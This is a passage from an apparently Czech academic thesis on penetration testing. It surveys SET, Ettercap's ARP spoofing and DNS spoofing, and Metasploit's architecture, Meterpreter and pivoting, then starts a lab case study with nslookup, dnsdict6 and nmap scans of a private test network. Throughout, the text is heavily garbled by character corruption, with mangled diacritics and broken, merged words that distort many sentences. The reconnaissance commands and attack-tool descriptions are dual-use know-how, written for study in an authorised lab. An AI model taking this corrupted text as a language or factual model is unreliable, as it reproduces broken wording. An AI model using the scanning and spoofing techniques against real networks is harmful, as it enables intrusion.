stale tytéz slabiny, mezgh pati predevSim nizka mira ostrazitosti a ignorace zavezteny
bezp&nostnich pravidel.

Kniha zabyvajici se penetrdm testovanim ve velmi igZenych prosedich [20]
v kapitole 6, pasazi nazvané Social engineerintkitp@rovadi zakladni fedstaveni SET
a ukazuje podstatu jeho vyuziti. V uvedenétiklpdé je na pd@itaci atocnika nastaven
webovy server s appletem v jazyce Java. Aby byk lts@sSny, nél by se nic netuSici
uzivatel fFipojit k onomu serveru a odsouhlasit na svénditad spuséni Java appletu.
Kniha autora Hadnagyhdignainé nazvana Social engineering: the art of human hagcki
[50] na stran 347 ukazuje&tendi vyuziti SET oproti knize [20] s&Si mirou detailu. Jsou
zde popsany moznosti tvorbygmosného média, které po vloZzeni d@if@de okamzig
spousti proces, jehoz s@sti je i meterpreter shell (bude popsano podrabkapitole 5)
¢i zpasob napadeni klientské stanice pomoci upravenydbhpmailové zpravy. Tyto
piilohy maji zpravidla format PDF a zneuZivaji zralmosti v aplikaci Adobe Acrobat
Reader.

Obsluha SET probiha pomodiilazovéiadky, konkrétd pomoci dialog relaizovanych
v této ikazovéradce Uzivatel si z menu voli druhy Ufola poté je nastrojem SET
dotazovan na upsiujici volby tykajici se konkrétniho druhu Utoku.

Po UspSném zneuziti zranitelnosti je peneétrBnu testerovi zpravidla nabidnut
meterpreter shell, neBoSET je velmi Uzce spjat s MSF, ktery je podrdlpopsan

v v nasledujici kapitole této prace. Praktickd uzastroje SET budetgrlvedena

v kapitole 5, jeZ se zabyvdipadovou studii.
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3.5.4 Ettercap

Nastroj Ettercap je den k manipulaci $ového provozu a jeho naslednému odposlechu. Je
vybaven mnoZzstvim zasuvnych moila@ rovréz disponje grafickym rozhranim vhodnym
pro uZivatele, ktd maji s praci vijlkazove radce potize. V sitich, na nichz v dob
penetr&niho testu probiha

Kniha Hacking exposed [49] popisuje nastroj Ettprizko prostedek, pomoci ¢hoz Ize
pacitacovou st postavenou na switchich donutit k zasadnéenthovani. Tato zasadni
zména chovani spova vtom, Ze se 8iz pohledu uténika jevi, jako kdyby jejim
centrélnim prvkem nebyl switch, ale hub. Je ovSetmampodotknout, Ze tento cil pini tak,
Ze ovliviuje chovani samotnych klientskych stanic a nikadiktivnich prviki sit,
konkrétré switchi. Technika, kterou tohoto chovani klientskych statosahuje, se nazyva
ARP spoofing. Sp&iva v rozesilani podvrZzenych nevyzadanych rfarA&P protokolu,
které zaplavi ifemce mylnymi kombinacemi IP adres a MAC adre&nktd IP adresam
nalezejicim. Nasledkem toho odesila postizengitapramce jinam, nez zamyslel. Kniha
pojednavajici o open-source nastrojich z oblastiepaniho testovani [38] jmenuje
u Ettercapu tytéZz vlastnosti m@ziuje jeho schopnosti provéid odposlech dat na
navazanych spojenich.

Ettercap je schopen pouZivat zasuvné moduly a pgskytak moznost roz&ni
funkcionality. Lze se setkat s moduly podnikajiciimoky na transportni vrtiSO/OSI
modelu jako je najiklad SYN flood attack a také jsou dostupné modghuty prohledavani
sit a spojeni existujicich na této siti. ¥gadové studii prace budéeanstaven modul,
ktery je schopen podvrhovat DNS odpdv Nese piznainy nazev dns_spoof. Tento
zasuvny modul bude pouzit ¥ipadové studii v kombinaci s nastrojem SET popsanym
v predchozi podkapitole, kdy po zmanipulovanitosého provozu bude nasledn
podvrhnut DNS dotaz a uzivatetigtoupi na webovou stranku nacfteci utocnika. Tato
stranka bude obsahovat Skodlivy kéd a budou zkoymaasledky zanechané na
uzivatelskych stanicich.

Obsahlou napasdu k nastroji Ettercap lze ziskat kikazovéradce zadanimifkazuman
8 ettercap.

52



4  Metasploit framework

Tato kapitola nejprve objasni, @rge vhodné pouzit ip penetrgnim testu framework
a jaké problémy za penetrdho testerdeSi. Nasledhbude podrobfpredstaven zastupce
frameworki, konkrét Metasploit framework. Praktické pouziti tohoto tnde bude
ukazano v fipadové studii, kterou se zabyva nasledujici képito

4.1 VyuZiti frameworku pri penetra¢nim testovani

Ve swt¢ informanich technologii se nachazi mnoho drub typi informanich,
komunika&nich a pditacovych system. Kazdy systém je do jisté miry nachylny na chyby,
mnohdy bezp#ostni, které do & programatéi zpravidla neamysk zanesli. Neni

v silach lidské mysli, aby si pamatovala informaceSech chybach dostupnych v dnes
béZzné pouzivaném software. Aby byla prace s takovym rahdin informaci udrzitelna,
existuji frameworky pro penetfai testovani. Tyto frameworky testerovi vyrézn
usnadiuji Zivot a dlaji penetrani testovani jednodussim.

Mezi hlavni dkoly, které frameworky plni, paiktualizace informaci o bezp®stnich

chybach, ziskadvani expléit (coZz mimo jiné zabtayje znovuobjevovani jiz
objeveného — n&ba znovu vymyslet, jak by se dala bermstni slabina zneuzit, sta
pouzit jiz naprogramovany kod), usnadh prace s exploity, organizace paylbad
a v neposledriadé pomahaji testerovi se samotnym vedenim Utoku pvatienému cili.

Jednim z framework pro penetréni testovani je i Metasploit framework. ktery vanik
vroce 2003 diky programatorovi jménem HD Moore. HBoore framework
naprogramoval nejprve v jazyce Perl. Rgizdyvojaii rozhodli o gepisu MSF do jazyka
Ruby. Tento proces jim zabral 2 roky. V roce 2009 Brojekt Metasploit akvirovan
spol&nosti Rapid7. Spoteost Rapid7 se zavazala financovat vyvojovy tymoaeghat
produkt pod BSD licenci. V deébpied akvizici byl Metasploit framework tien
a spravovan nadsenci v jejich volnéase. Projekt touto akvizici dostal moznostSiho
a rychlejsiho rozvoje.

Kniha provazejici kurzem Certified ethical hackerl][ se zabyva otazkou pouziti
frameworki pro (&ely penetraniho testovani. Dle této publikace je motivace jgjah
zavaani totozné s dvody uvedenymi v fedchozim odstavci. Jako nejvhegi a nejvice
propracovany framework pro peneina testovani zniiuje MSF. RoviZ je v této knize
uvedenych mnoho praktickychtikladi pouziti tohoto nastroje @en& je mnohdy vyzvan,
aby si gedstavovanou vlastnost MSF vyzkouSel prakticky. ldanMSF cookbook [51]
poskytujectendi rizné navody souvisejici s praktickym vyuzitim Metagdrameworku.
V Gvodu jectend& seznamen s problematikou pené&tifio testovani a zakladnich pdim
Poté nasledujefpdstaveni MSF a zbytek knihy se zabyva praktickpuzgim a piklady
pouziti MSF. V z&vru je jeSE ¢tend sezndmen se SET, cozZ je sada naspigdstavena
v kapitole 4.5.3 této préace.
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Dle odborné literatury Ize konstatovat, Ze MSF jzinodborniky na penetiai testovani
rozSien, hoj pouzivan a cem pro jeho funkcionality. Z tohototstodu bude MSF
vénovana pata kapitola této prace, ktera frameworkprve pedstavi z pohledu
architektury a komponent, naslédrse pak bude &novat jeho praktickému pouziti
a moznostem, jenz nabizi.

4.2 Zakladni architektura

Architektura metasploit frameworku séi plizSim zkoumani jevi jako siénmodularni.
Cely metasploit framework je naprogramovan v jazygby. Nasledujici obrazek 15
ilustruje sodasti, z nichz je framework sloZzen. Kazda ze ¢asti bude popsana
v nasledujicim textu této kapitoly.

Knihovny Rozhrani

Obrazek 15 - zZakladni diagram architektury MSF

Rozhranizaji&'uji interakci mezi uzZivatelem a samotnym jadrenmigavorku tvéenym
knihovnami. Knihovny poskytuji svému okoli zakladsluzby. Diky nim nemusi
programatortesit rutinni Ulohy jako je ndfklad pistup na si. VSe ma pedgipraveno

v knihovnéch, std jen tyto funkcionality pouzit. Pluginy, mnohdygr@&ovany ceskym
ekvivalentem jako zasuvné moduly, slouzi pro r@8i funkcionality a automatizaci
nékterych ¢innosti. Modulm vd¢i MSF za svou univerzalnost a funkcionalitu.
Podrobgji budou tyto komponenty popsany dale a znéajer je obrazek 16.
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Rozhrani

Knihovny

MSF Core

Webové
Zasuvné moduly @ MSF Base rozhrani

Armitage

Moduly

Post
Payloady Exploity Enkodéry exploit
koéd

Obrazek 16 — Podrobny diagram architektury MSF

REX poskytuje frameworku ditou miru abstrakce nad hardware, nepgho Ukolem je
prace se sovymi sockety, poskytovat frameworku logovaci ramtira jiné zakladni
operace nutné pro fungovani komplexniho systénanykt MSF bezpochyby je. [51]

MSF core predstavuje knihovnu plnici zakladni ulohy ve framdwojako je manipulace
s relacemi meterpreteru (pojem vyden v kapitole 4.4), koédovéani paylaad aby
ochranné mechanismy exploitovaného systému nicazezpvaly a podobn&nnosti [51].

MSF base Ize ukitého uUhlu pohledu chapat jako rozhrani k MSF cdeeskytuje
programmer-friendly wrappery ke komponentagésti MSF core. [51]

Zasuvné moduly napomahaji MSF roz&vat schopnosti o nové funkce. MSF byl
vytvoren s cilem byt modularni a neomezovat se jen niecfanalitu od twirct. Proto Ize
pro metasploit tvitt moduly rozSiujici funkcionalitu. Nkolik moduli je jiz dodavano
sinstalaci metasploit frameworku. Toto tvrzeni lddk i vypis adresé
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/opt/metasploit/msf3/plugins/, kde Ize nalézt nd&jklad modul nessus.rb. Tyto
moduly tetich stran jsou do MSF zavény pomoci pikazuload.

Rozhrani predstavuji progsednika mezi frameworkem a uzivatelem. Cilem podképi
dokumentaci nabizi msfconsole. ¥pgadové studii, jez Ize nalézt v kapitole 6, budet@
pro interakci s MSF pouzivana peawsfconsole.

4.3 Rozhrani pro praci s metasploit frameworkem

V podkapitole 4.1 byl uveden obrazeéislo 15 znazatujici zakladni schéma frameworku,
piicemz jednim ze stavebnich kameframeworku byla rozhrani. Tato podkapitola
piedstavujettzna rozhrani, pomoci nichz se s frameworkem pracuje

Msfcli - se pouziva{imo z gikazovéhaadku Linuxové konzole. Jevi se jako vhodny pro
zaateeniky, kterym usnadni pochopeni podstaty prace s.MSfkce informaci o tomto
zpiasobu prace s metasploit frameworkenmietw® praktickych ukazek lze nalézt na
webovych strankach serialu Metasploit unleashed] [h8bo po zadani ffkazu
msfcli —h v piikazovéradce.

Msfconsole se jevi jako nejvhodfsi kandidat pro interakci s MSF. Oproti Msfcli je
robustrjSi, Ské&lovatel§jSi a penetrénimu testerovi usnadje praci, kupikladu tim, Ze
umoziuje vyhledavat mezi exploity. Dale dovoli pouzigibbalni prordnné tak, aby se
pii obmené pouzivanych explait nemusely prokmné ke kazdému exploitu nastavovat
znovu. RoviZ, jak je ukazano v serialu Metasploit unleashéq, [lke z jedné Msfconsole
pouzivat vice relaci, coZile vhod zejménaiprozsahlém penetéaim testu, kdy jeieba
piepinat meziiznymi relacemi napadenych sysiem

Armitage predstavuje grafickou nadstavbu pro metasploit fraotkwRovrez pridava
n¢které dilezité funkcionality. Jeho autorem je Rafael Mud§puséni tohoto GUI pai

k ttm jednodusSim ulohdm spadajicim do problematikyepamiho testovani. Do
piikazové radky sté&i napsat fikaz armitage a pdkat, nez se GUI spusti. Oproti
Msfconsoli ma hned é&kolik vyhod. Umi pracovat v tzv. multiplayer rezimkdy jeden

z testett ma swij stroj jako teamserver a ostatni se r& pripojuji. Lze si pedstavit
situaci, kdy se zdaexploitace serveru, o niz usilovaldkolik lidi souasreé. Po uspsné
exploitaci se mize jeden tester zabyvat Kildadu dilezitymi soubory na disku, dalSi
muZze zkoumat databazi uzivaieh jiny miZze napiklad reSit odchytavani stisknutych
klaves pomoci MSF. DalSi nemgntlezitou vlastnosti je podpora skriptovani v jazyce
Cortana, pomocidnoz Ize automatizovat jisi@nnosti provadné v piabéhu penetréniho
testu. Vice informaci o rozhrani Armitage lze ziskautorialu gedstavujicim toto
Armitage [53] a jazyk Cortana je zase podrolpredstaven v seridlu nazvaném Cortana
tutorial [17].
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4.4 Meterpreter

Poté, co prokhne Uspsna exploitace (zneuziti zranitelnosti a nasledinstygp ke zdrajm)
cilového systému, vznikatippzena padieba interakce s timto systémem. Lzefgidgtavit
variantu, pi které cilovy systém interaguje pomoci vlastiik@zovéiddky neboli shellu.
Tento fFistup ma dle dokumentace k MSF [14] hnékatik Uskali:

* byl by vytvaren novy proces,
» zAvislost shellu na platform
* rutinni post-exploitation ulohy by byleebareSit @i kazdé exploitaci stale dokola

Prvni bod skyta nebez@r@ v tom, Ze je velmi ,hlasity” pro antivirovy sefareci HIPS.
Druhy a teti bod jsou porrné problematické z toho Uhlu pohledu, Ze exploitysaxi pro
razné typy operénich systéem, kazdy operéni systém ma jiny shell a stejd@nosti by
bylo v kazdém OS piba provéad jinak.

Tento problém byl tirci MSF vzat v potaz a wgSen tak, Ze vytidi shell, ktery je
univerzalni, to znamena nezavisly na platféraa Ehu rozstitelny a je schopen fungovat
uvnité jiz existujiciho procesu a bez interakce s pevilyghem. Bchto viastnosti docilili
tvarci vyuzitim techniky DLL injection umatijici donutit proces, aby zavedl DLL
knihovnu do svého virtualniho adresového prosteytvoiil nové vidkno a zde provéd
kod majici na starosti obsluhu meterpreter shilui.

Architektura Meterpreteru vychazi z modelu zndmél® s¥té¢ IT. Jde o model

client-server, kdy proces, jenZz byl vyuZzit pro Dlihjection (jinymi slovy - v jehoz

adresovém prostoru meterpreteizify, funguje jako server atipma prikazy od klienta,

zpravidla msfconsole ovladané penétian testerem a tytotikazy pak zpracovava ve
vlakne, které pracuje s DLL obsahujici obsluzné rutinyemaeteru. [14]

Jina, roviz velmi dilezita vlastnost, je roz$ielnost za Bhu. Meterpreter obsahuje API,
které lze vyuzivat v modulech, jez se daji zhbnahravat na server (je undistna
cilovém exploitovaném systému)iilady rozsteni mohou byt Fs (slouzi pro nahravani
soubofi na systém s meterpreter shellem a také stahovaliof z tamtéz) a Net
(ovliviiuje nastaveni sitna systému, kdesbi meterpreter).

Skala moznosti, jenZz meterpreter nabizi, je dikgmosti roz&eni prakticky neomezena.
Vivek Ramachandran, znamy specialista na bammst inform&nich technologii, v sérii
eduka&nich videi [7] pedstavuje Metasploit framework do detailu. Jetst je ¥novana

i meterpreter shellu. Zde autor jmenuje moZnodkto jaristup k souborovému systému
pocitate oleti, v pripade OS Windows zasahy do registr manipulace s procesy,
odchytavani klavesi manipulace s webkamerou. Tyto akce jsou vykongvdomoci
pred@ipravenych skript. S dodanim novych skriptze tedy funkcionalitu rozst.

Meterpreter ovSem négtava pouze u skriptvyuzivajicich pedgripravenych funkcionalit
a tvorby &chto skripfi. Na napadeném pitaci s OS Windows je moZno spustit libovolny
kod, ktery Ize distribuovat ve forRrDLL knihoven. Tyto knihovny jsou na pitaci bud’
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piitomny jiz od instalace Windows a umindi nagiklad smazat uZivatele. Druhou
moznosti je pak na cilovy systém nahrat vlastni Dirihovny a zdchto pak volat
libovolny kod. Roz&eni Meterpreteru obstaravajici tuto funkcionaliéunszyva Railgun

[7].

Komunikani protokol mezi klientem a serverem stavi na modELV. Tento model
komunikace mé& vyhodu vtom, Ze je velmi jednodugbg rozstit o nové typy
komunikanich zprav. Funguje na stejném principu jako TLYEr& je implementovano
nagiklad v proprietarnim routovacim protokolu EIGRP spble&nosti Cisco. Pokud je
tieba pidat do komunikaniho protokolu novou funkcionalitu, definuje se pewnovy typ
bez nutnosti fedélavani zdrojového kodu zpracovavajiciho stavaijiéi,znamé TLV.
Prakticka ukazka prace skonzoli meterpreteru bud@zana vfipadové studii
v nasledujici kapitole. Provoz mezi klientem a segwn je Sifrovan, cozipdstavuje jistou
miru utajeni p kontrole sfového provozu IPS systémem. Vice o meterpretehn je
architektite, APl a pikazech Meterpreteru je mozno nastudovat v dokument
predstavujicim Meterpreter [14].

4.5 Dalsi funkcionality MSF

MSF nabizi krora vlastniho shellu popsaného ¥efdchozi podkapitole a pomocné rude p
organizaci exploit i dalSi funkcionality. Jedna Zdhto funkcionalit se nazyva pivoting.
Lze jej vyuZit u siti svySSi mirou zabeéeei pouZivajicich 8dbvy segment nazvany
demilitarizovana zéna. Do ni se zpravidla uijs servery, které pégbuji byt gimo
dostupné z internetu. Lze diguistavit situaci, kdy provoz do vhit sit s dilezitymi daty

je povolen pouzegin serveiim a pd@itacam, které jsou usazeny do této demilitarizované
zony. Pivoting spéiva v tom, Ze po usgném spushi meterpreteru na serveru v DMZ se
jménem tohoto serveru &aa komunikovat s vnihi siti. Server poskytujici tuto sluzbu se
nazyva pivot. Z pivota lze néjglad scanovat porty @gitact ve vnitni siti a nebo, pokud
to zranitelnosti péitatit umozni ve vnini siti umozni, nahravat a spotiSineterpreter.
V MSF je feba nastavitis jakou relaci meterpreteru jsou adresyimnisit dosazitelné.
Komunikani kandly pouzivanérpPivotingu znazatuje nasledujici obrazek.
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Relace utoc¢nika se serverem v DMZ
Relace uto¢nika se servery

ve vnitini siti- za asistence
napadeného serveru

Obrazek 17 - Pivoting v podani MSF

Jelikoz je ve vniini siti mnohdy fteba udlat naged pGzkum a cesta do viiiti si€ je
nastavenaifimo v MSF, externi nastroje (ndklad Nmap) by nebyly schopny dosahnout
vnitini si€. Existuje moznost tyto nastroje nahradit pomocidoiio Jednim z mnoha
piikladu je zmigny Nmap. Ten nabizi funkcionality k otestovani dpsbsti péitaci

v zadaném adresnim rozsatiuke scanovani zadaného adresniho rozsahu. MSEinabi
ARP scanner, ktery otestuje, zdali dana IP adreaguje a &kolik technik scaf, které
zjisti na reagujicich IP adresach gené porty a sluzby na niclgdici. Prakticka ukazka
Pivotingu je pedstavena v edukaich videich autora Ramachandrana [7].

4.6 MozZnostrozsireni MSF

MSF existuje vetech dostupnych verzich. Bulze zvolit Community edition genou
primarre pro studijni dely, nebo se uchylit k Express edition, jez opi@ommunity
edition pidava moznost prov&t auditovani hesel, generovatepledné reportyci
provadt testovani zranitelnosti podlégalem pipravenych scérfd. Cena nové licence pro
Community edition je nastavena na sumitédu tisié dolafi a raini znovuaktivace této
licence stoji rovéZ fadow tisice dolafi. Presnou cenu lze nalézt na strdnkdch MSF
projektu®. S jest vy3sim potem funkcionalit je k dispozici Pro edition, kteilée
schopnostem fddva moznost testovat webové aplikace, obsahujduiypopro socialni
inZenyrstvi a nabizi pvodce pro penettai testovani. Jeji cena neni mjecna, na

pozadani ji séli obchodni konzultant ze spoteosti Rapid7.

% http://www.rapid7.com/store/index.jsp
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5 Pripadova studie

Cilem této kapitoly je provéstiipadovou studii tak, aby bylo demonstrovano pouziti
nastrofi popsanych v teoretick&sti prace v souladu s nejrg&imi metodikami, jez byly
popsany tamtéz. V prvni podkapitole budedstavena 8j na niz bude ifjpadova studie
provedena a také Linuxovy router @tigici testovanou $i od zbytku internetu.
Podkapitola 6.2 obsahuje popisulpthu samotného penetrdiho testu v souladu

s metodikou OSSTMM a posledni podkapitola se zalFwadnocenim celéfipadové
studie. Test bude provéa v souladu s metodikou OSSTMM, nébak jiz bylo fe¢eno

v kapitole zabyvajici se metodikami, tato metodilgaika svou Urovni detailu a v odborné
literature [38], [13] je zpravidla uvatha jako metodika, podle které by selon pri
provadni penetranich test postupovat.

5.1 Predstaveni pripadové studie a souvislost s 0SSTMM

V kapitole 3.3 byla fedstavena metodika OSSTMM (Open source testing adetbgy
manual), a byl zde zmdn fakt, Ze z této metodiky, konkréta kapitoly jedenacté, budou
vybrany podkapitoly zapadajici svym obsahem dipguové studie, jiz se zabyva tato
prace a dleéchto podkapitol bude postupovano. Jelikoz se jeds#zejnicast, bude tato
problematika, o niZ pojednava metodika OSSTMM, dedtiipomenuta v nasledujicim
odstavci.

Metodika OSSTMM se bezpeosti zabyva hned wholika rovinach, picemz pro tuto
praci je podstatna rovina opénéch systémd a datovych siti. Touto problematikou se
OSSTMM zabyva velmi podron kdy v prvnich podkapitolach jedenacté kapitoly
testerovi poskytuje informace tykajici se nastutds pravni strankydci v zemi, v niz je
test provadn a také, Ze jer¢ba o¥fit vlastniky zdizeni, ktera testu podléhaji. DalSi
podkapitoly metodiky se jiz zabyvajfipravou a naslednsamotnou realizaci peneatraho
testu. Zde se tester dozvi, Ze ijebln provést gfeni kvality si¢ a také promyslet, zdali
nemohou byt systémy, jeZ jsou pro infrastrukturtidke, testovanim ohrozeny a také, ze
je nutno stanovit ramec testu, kdy seiwystémy, které budou otestovany. Nahto
systémech jsou nasletinkoumany sluzby a software, kontroluje se jejielstaveni a také
to, zdali jsou nastaveny procesy, pokud dojde lobdmi &chto systén.

Byly tedy vybrany nasledujici podkapitolyigemz u nazvu kazdé podkapitoly je pro
aplnost v zavorce dopn jeji originalni nazev:

e 11.1 — ukeni rozsahu testu (posture review)

* 11.2 — piprava na test (logistics) - zj&ti adresniho rozsahu a kvalityesit

e 11.4 — audit viditelnosti (visibility audit) - stameni vektoii, z nichz bude §i
testovana, identifikace hranicessiidentifikace dlezitych cilx

« 11.5 - ov¥teni @istupu (access verification) - detekce zranitelin@stachylnost

k Gtokim

11.6 — mira dvétivosti uzivatet a nasledky pro infrastrukturu (trust verification)
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Rozsah testu je dle podkapitoly 11.1 metodiky OSS®Tktanoven na testovaniizzeni
piipojenych k pditatové siti organizace, kterd je objednatelem teswnkikétré budou
hledany bezp@ostni slabiny o¥ch zd&izeni a moznosti jejich zneuzZiti. Na zéklad
podkapitoly 11.2 metodiky OSSTMM bude identifikovéadresni rozsah dané é&sit
z vaejreé dostupnych informaich zdrofi a také bude stanovena nejvysSi moznézzat
kterou Ize na siklast. Nasled&v souladu s podkapitolou 11.4 metodiky budou stang
vektory testovani a také budodingny kroky vedouci ke zjighi co neje¢tSiho mnozstvi
informaci o dané siti z internetu. Na zakiddapitoly 11.5 OSSTMM budou objevena
zaizeni podrobena tegsh na gitomnost zranitelnosti. V souladu s kapitolou 1lhugle
proveden test na moznost napadeni uzZivatelskyoic g selhani lidského faktoru.

Topologii sit, na niZ bude penetiai test provaéh, vystihuje obrazek 18.

Linux router
oddélujici sit’ od
internetu

Internet

Sit’ se servery, sitovymi
prvky a stanicemi

Obrazek 18 - Diagram si&, na niz byla provedena pipadova studie

Linuxovy router oddlujici testovanou gia internet je pro danoutskritickym prvkem.
Proto byl na tento linuxovy router nainstalovantr@gddMRTG, coz je program informuijici
administratora o vytizeni prdstlki tohoto serveru formou srozumitelnych dgraZa
Ucelem giblizeni modelové sitrealit byl na centralni router ro¥a nainstalovan proxy
server, konkréth Squid ve verzi 3.0. Je obvyklé, Ze fesiniho az §tSiho rozsahu je na
hranici si¢ proxy server nainstalovan, nebtento pomaha snizovat 2atinternetové
piipojky a urychluje uzivatém pristup natasto nav&vované stranky.

5.2 Penetracni test na siti

5.2.1 Priprava na test dle 0OSSTMM 11.2

Ve fazi giipravy penetréniho testu radi metodika OSSTMM zjistit o cilové ed nejvice
informaci z véejné dostupnych inform&ich zdrofi pomoci nastrdj jako napiklad
nslookup, dnsdicti dig. JelikoZz se jedna o laboratorni Glohu, ndiaeuto pozadavku
vyhowt. St’ v laboratornim progedi je gipojena do sé internet es sf 192.168.1.0/24
pomoci rozhrani ethO Linuxového routeru.
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V piedchozi podkapitole byl stanoven rozsah petietin@ testu, kde byléeceno, Ze bude
zkoumano zabezpeni hraniniho routeru s pracujiciho na platforgn Linux a také
zabezpeéeni vnitni sit. NeZz bude ktomuto kroku figtoupeno, je ieba zhodnotit
vykonové moznosti sit aby bylo uéeno, jak moc intenzivni test co do mnozZstvogého
provozu smi penettai tester provést. Tento krok je nutny, nébke jedna o produki st

a je teba pedchazet viazeni produknich systém z provozu. Ke zji&ni odolnosti wci
zaezi byly pouzity dva nastroje. Jedna se o genemsiftového provozu Iperf a nastroj ke
generovani gréf MRTG. Obrazek 19 znazuuje proces testovani odolnosti¢sikdy byl
zatizen centralni router ogldjici sit’ od internetu aiepina& pripojujici tuto sf k routeru.
Nutno podotknout, Ze testovani && bylo obousrrné — jinakieteno na obou stranach
sit pracoval iperf ve dvou instancich. Jedna bylazime klient, druh&a v rezimu server.
Test @Zel celkem 285,5 minut a suma mnoZstiénesenych dat v obou 8rach ¢ini
209GB pfimérnou genosovou rychlosti 52,5Mbit/sed:edd samotnym zagetim testu byl
spusén z jednoho ze servenve vnitni siti gikaz ping, ktery v plminutovych intervalech
do internetu odesilal pakety o velikosti 1 KB adogkoumano procento ztracenych paket
pii spuséném zatzovém testu. Paket nebyl ztracen ani jeden. Obr&feknazatuje
vytizeni prosiedki (procesor a opetai panét) v doke probihajiciho z&fového testu
a kone€n¢ obrazek 21 ukazuje na vytizent'aiych rozhrani Linux routeru po dobu
zatzového testu.

Obrézek 19 - Testovani moznosti sitdle OSSTMM kapitoly 11.2

V piipact spodniho grafu na obrazku 20 pojednavajiciho oizegi paniti RAM
znazotiuje modra linie celkovou paiti serveru a zelena linie dostupnou géarserveru.
Na horizontalni ose je vyobrazeéas v jednotkach hodin. Mezi 10:00 a 14:00 jecvid
mirny pokles dostupné p&mRAM, coz ma souvislost se zafatym testem odolnosti it
vici enormni z&tZi.

62



MRTG Index Page

Vytizeni CPU [%]

100.0
75.0
50.0
25.0

CPU Utilization

0.0

Vytizeni pameti RAM

1040.0 M
780.0 M 1
520.0 M 1

Bytes

260.0 M 1

0.0 M

6 8 10 12 14 16 18 20 22

Obrézek 20 - Vytizeni CPU a RAM centralniho routerupti zatéZzovém testu si

Analyza vytizeni eth0 - gw

120.0 M
90.0 M -
60.0 M -3
30.0 M i

Bits per Second

0.0 M

Analyza vytizeni ethl - gw

72.0 M
54.0 N 4!
36.0 M $-
18.0 M 1

Bits per Second

0.0 M 3 = 3 e 3 = o
6 8 10 12 14 16 18 20 22 0 2 4 6 8 10 12 14

Obrazek 21 - VytiZzeni sfovych rozhrani centralniho routeru pri zatézovém testu si
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Z vySeie¢eného a z vySe uvedenych grafyplyva, Ze g je stabilni i pi velké zatzZi

a tudiz neniieba, aby testertfzpisoboval pibéh testu kvalitativnim charakteristikam
sit, coz f@inaSi do znéné miry zjednoduSeni prace, néblze vice ¢asu ¥novat
samotnému testovani a prace testera neni zpomadaoianastrdj uréenych pro testovani
kvili vykonovym limitim patitacove sit.

5.2.2 Audit viditelnosti dle OSSTMM 11.4
V souladu s podkapitolou 11.4 metodiky OSSTMM bydktory testovani stanoveny na
nasledujici:

» test zranitelnosti Linuxového routeru a ¥nitsig ve snéru z internetu,
» zranitelnost systétnve vnitni siti ve smiru z vniini sie

Poté, co byly stanoveny vektory pro pen&tiaest, nezbyva, ne#ikrocit k identifikaci
cila, jez jsou pro testidezité. Bude tak &inéno za asistence nastiopslookup, dnsdict

a Nmap. Organizace, jiZz infrastruktura ipaprovozuje webovou prezentaci na adrese
www.zittanet.local. Nasleduje procesupkumu této domeény a vyhledavani dalSich
dulezitych cili. Identifikaci DNS serveér pro tuto doménu znézasje nasledujici vystup.

root@bt:~# nslookup

> set type=ns

> zittanet.local

Server: 192.168.2.113

Address: 192.168.2.113#53

zittanet.local nameserver = dcl.zittanet.local.
zittanet.local nameserver dns2.zittanet.local.

Z uvedeného je patrné, Ze DNS servery pro danouédommesou doménové nazvy
dcl.zittanet.local a dns2.zittanet.local. Nazevnpgre DNS serveru vzbuzuje dojem
piitomnosti doménovéhtadice v této siti. Tato donénka bude potvrzend vyvracena

v dalSim piibéhu testu. Pro zjighi dodaténych informaci o doménovych jménech na této
domért byl pouZit néstroj Dnsdict6. Servery, jez byly Sgny nastrojem Dnsdict6
v domeénr zittanet.local reprezentuje nasledujici vystup.

dnsl.zittanet.local. => 192.168.2.113
dns2.zittanet.local. => 192.168.2.115
ftp.zittanet.local. => 192.168.2.117
gw.zittanet.local. => 192.168.2.110

mssqll.zittanet.local. => 192.168.2.113
mysql.zittanet.local. => 192.168.2.117
www.zittanet.local. => 192.168.2.117

Je patrné, Ze t¥va infrastruktura organizace prapddobr pracuje na podsiti
192.168.2.0/24¢i 192.168.2.0/25. Tato podsibude nasledh podrobena scanovani
nastrojem Nmap, konkré&intechnikami piizkumu podsiti za delem zjiSéni dalSich
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servefi, jez by se mohly na této podsiti skryvat. Téadlitechnika pro pgizkum sit
pomoci ICMP protokolu je pouZita pouze z&lém zdirazreni nutnosti vyuziti vice
scanovacich technik, nebaexistuje pedpoklad o firewallu oddujicim tuto st od
internetu. Tento i@dpoklad je potvrzen skuteosti, Ze www server na pakety typu icmp-
echo neodpovida, nicm&npomoci HTTP protokolu komunikuje. JelikoZz neni lace
ziejmeé, jaka pravidla jsou na firewallu nastavenajebpro pézkum sit pomoci ACK
ping a UDP ping technik vyuZzito Siroké spektrunoejich porfi, aby vzrostly Sance, ze
alespa nekteré z pizkumovych segmedit ¢i datagranmd pies firewall projdou. Pro
prizkum cilové sit je vyuZit program Nmap. Tento néstroj byl na cflositi spusin

s nasledujicimi parametry:

e Pro UDP scammap -PU1-10000 192.168.2.0/24 -sn -T5,
e Pro ACK scannmap -PA1-10000 192.168.2.0/24 -sn -T5,
* Pro ICMP scannmap -sn 192.168.2.0/24

VySe uvedené ifikazy zn&i fakt, Ze jsou odesilany pakety na cilové portgoasahu

1 — 10000 do sits adresou 192.168.2.0/24. Paramatn Nmapuiika, aby testoval pouze
dostupnost danych IP adres a nepokouSel se zigtihé dalSi dodateé informace

o dostupnych IP adresach. Vystupy z faze 11.2 zjljvse pipravou penetimiho testu

dokazuiji, Zze zvySené mnozstvf®iého provozu pro ginegedstavuje vazfsi hrozbu.

Proto, za Gelem urychleni prace byl k ®élma scaim pridan pgepin& T5, ktery

mozné.

Vystup z ICMP scanu je nasleduijici:

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-02 17:59
CESTNmap scan report for 192.168.2.110

Host is up (0.00049s latency).

Nmap scan report for 192.168.2.117

Host is up (0.0010s latency).

Nmap done: 256 IP addresses (2 hosts up) scanned in 91.95 seconds

Vystup z dokotieného ACK pingu vypada nasledévn

Nmap scan report for 192.168.2.110

Host is up (0.00093s latency).

Nmap scan report for 192.168.2.115

Host is up (0.0021s latency).

Nmap scan report for 192.168.2.117

Host is up (0.0029s latency).

Nmap done: 256 IP addresses (3 hosts up) scanned in 906.54 seconds

UDP ping zjistil v siti nasledujici servery:
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Nmap scan report for 192.168.2.112
Host is up (0.00044s latency).
Nmap scan report for 192.168.2.113
Host is up (0.0012s latency).

Nmap scan report for 192.168.2.116
Host is up (0.00083s latency).
Nmap scan report for 192.168.2.117
Host is up (0.00055s latency).
Nmap scan report for 192.168.2.118
Host is up (0.00046s latency).
Nmap scan report for 192.168.2.119
Host is up (0.00057s latency).
